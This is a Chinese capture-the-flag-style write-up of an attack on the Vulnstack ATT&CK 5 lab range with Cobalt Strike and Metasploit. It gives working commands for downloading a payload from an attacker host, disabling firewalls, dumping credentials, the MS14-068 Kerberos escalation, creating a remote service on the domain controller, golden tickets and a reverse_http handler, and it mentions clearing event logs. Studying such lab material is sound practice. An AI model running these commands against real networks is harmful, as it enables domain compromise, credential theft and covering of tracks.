前言
这是老以前做的一个,主要熟悉一下cs4的新特性,还是发出来看看吧,流程简单一些,但是内网流程还是比较完整的。大家可以看看
- 本次靶机为红日安全的ATT&CK第五个靶场。
- http://vulnstack.qiyuanxuetang.net/vuln/detail/7/
- 思路参考 记一次在Vulnstack ATT&CK 5 靶场中使用CobaltStrike的渗透之旅
- 文章中如有错误的地方望大佬指正。
- 菜鸡文章望大佬勿喷。
0x00信息收集
Namp 扫一下
发现 80 3306
访问一下发现thinkphp5 记得是有rce的
searchsploit thinkphp
有货
0x00入口权限获取

cool可以用
上传的姿势太多了,我就使用一个最简单的
使用powershell 下载 CS payload
powershell (new-object Net.WebClient).DownloadFile('http://192.168.203.140/a.ps1','C:\phpstudy_pro\WWW\a.ps1')
推荐可以直接放到C:\\Windows\\Temp\\里面
C:\\Windows\\Temp\\payload.exe

运行 直接上线 调整 sleep 1

0x01 提权
权限比较低,需要提权

我生成了一个名为Priv Esc
的listener
(payload:tcp beacon)(建议勾选Bind to localhost only)
为什么要勾选呢?作者的话:(反正就是勾选就对了)

svc-exe
svc-exe
这个参数,并不是和exp
提权那样,帮你从普通用户 ”pwn!!“ 一下子拿下系统,而是当管理员权限满足不了你的时候,可以用svc-exe
进行提升(类似getsystem
命令,但是getsystem
不太好使)
evelate svc-exe
提权成功
0x02 横向移动
切换到高权限用户
通过 explore-Process List 先查看一下进程,看看有没有杀毒软件
???
这个靶机怎么可能有?但是流程还是要走一下的

关闭防火墙
使用命令 netsh advfirewall set allprofiles state off 关闭防火墙

内网的信息搜集
网段的端口扫描,得来一下意思意思吧

然后查看域的信息
net view /domain

还可以用cs4的新增命令
net domain
net domain_controllers

老方法
run net config workstation

工作站域是 sun.com
可现在登录域是 win7
因此我们需要一个域用户的进程来进行信息搜集
我们需要一个域用户
先调用 Logonpasswords 抓一波密码

还可以直观的看一下view- credentials
(因为是靶机,你最好把win7 的账户都登陆一下,否则只能抓到一个账户)
那我们拿到了这些凭据如何去调用他们呢?
切换回 本地管理员的beacon上 使用凭证有三种方法
- 第一种:使用make_token去调用
- 第二种:使用pth命令生成一个新的进程注入进去
- 第三种:使用spawn as
第一种:Make_token
Make_token是在当前的 beacon 上进行身份伪造
在当前beacon上,您的权限、权限或标识没有变化。但是,当您与远程资源交互时,使用的是您
伪造的身份.
先本地测试试命令,这个命令本地用户是用不了的,所以我们make_token一个域用户
net group “domain admins” /domain
有之前抓取的密码 域用户 leo 123.com
make_token SUN.COM/leo 123.com
# 注意域是SUN 要写成SUN.COM 才可以

第二种:使用pth命令生成一个新的进程注入进去
pth SUN.COM\leo NTMLhash


找到PID
然后steal_token PID 成功执行域命令
steal_token 3860
第三种:使用spawn as
spawnas 命令生成具有其他用户凭据的 beacon
用图形化不香吗?


或者命令
spawnas SUN.COM/leo 123.com
第四中 进程注入到域用户的进程中,但必须得是 高权用户
那我使用system权限进入,找到域用户进程
就会多出来一个用户的beacon,成功

0x03 域内信息收集
有了域用户,那么就可以在域内收集信息
方法太多了,我只简单的介绍CS里面东西
net view
net view sun

查看信任域

查看域内计算机

查看域控
net dclist sun
这是输入sun域就可以,不用 sun.com
查看域管理员
Net group \\sun.com domain admin

查看所有用户

看下sid

信息汇总
域管理员默认没有。。。因为我们还要提权操作
域名:sun.com
域管理员:sun\administrator
域用户:administrator,admin,leo和一个krbtgt
域控:DC
域成员:DC,Win7
域控ip:192.168.138.138
用户sid:S-1-5-21-3388020223-1982701712-4030140183-1110
域sid:S-1-5-21-3388020223-1982701712-4030140183
已知凭据:sun\leo:123.com,win7\heart:123.com
域提权
我们利用之前所收集到的信息进行域提权的操作
只能上 ms14-068 域提权一波了
先上传exp

生成伪造缓存
shell MS14-068.exe -u leo\@sun.com -p 123.com -s S-1-5-21-3388020223-1982701712-4030140183-1110 -d 192.168.138.138

此时会生成TGT_leo@sun.com.ccache的伪造缓存文件。
mimikatz kerberos::purge
清空当前机器中所有凭证
mimikatz kerberos::list
查看当前机器凭证
导入伪造缓存前面

用mimikaze
mimikatz kerberos::ptc TGT_leo\@sun.com.ccache
将票据注入到内存中

成功提取,读取到了数据

0x04横向到域控
正向连接


拿下DC

反向beacon连接
先建立一个listener


生成一个生成一个 stageless payload ,这里选用的是服务exe

选取刚刚的listener

生成exe
我起名叫godc.exe
然后访问
\\DC\\C$
upload 上传payload

加入注册表
主要这里有个坑
1 是\\ / 这俩要分清
2 还有就是 binpath= “C://” 这尼玛中间有个空格一定不能省略!!!!
binpath=空格“C://”
run sc \\DC create godc binpath= "C:/godc.exe"

启动服务
run sc \\DC start godc

机子也是反向链接回来的,注意箭头

在内网环境中可以使用ipc $生成的SMB Beacon上传到目标主机执行,但是目标主机并不会直接上线的,需要我们自己用链接命令(link )去连接他。
link操作 只能是smb beacon
所以Leo那个是tcp的不能link操作
也要先调用凭据,远程命令执行
关闭防火墙
remote-exec wmi DC netsh advfirewall set allprofiles state off
0x05 权限维持
黄金票据(golden ticket)
1、首先我们需要先利用 logonpasswords 抓一波明文(在名为DC的Beacon进行操作)

2、使用 dcsync 命令导出 krbtgt 的NTLM Hash

或者,使用 hashdump 也可以导出hash

到手

3、为了方便于实践黄金票据
找一个低权限的用户 ls \\DC\C$
要进行对比
制造黄金票据
可以运行

清除票据
kerberos_ticket_purge
0x06 通道的构建
会话的派生
打开msf监听
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf5 exploit(multi/handler) > set lhost
msf5 exploit(multi/handler) > set lhost x.x.x.x
lhost => x.x.x.x
msf5 exploit(multi/handler) > set lport 6668
lport => 6668
msf5 exploit(multi/handler) > run
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf5 exploit(multi/handler) > set lhost
set lhost 127.0.0.1 set lhost eth0
set lhost 172.21.0.4 set lhost fe80::5054:ff:fe89:7f0f%eth0
set lhost ::1 set lhost lo
msf5 exploit(multi/handler) > set lhost 49.233.129.171
lhost => 49.233.129.171
msf5 exploit(multi/handler) > set lport 6668
lport => 6668
msf5 exploit(multi/handler) > run
CS搭建SOCKS代理都说不稳,所以转到MSF上
0x07清除日志
推荐脚本用奇安信A-Team写的脚本
链接:https://github.com/QAX-A-Team/EventLogMaster
0x08 小结
- 思路参考 记一次在Vulnstack ATT&CK 5 靶场中使用CobaltStrike的渗透之旅
- 文章中如有错误的地方望大佬指正。
- 菜鸡文章望大佬勿喷。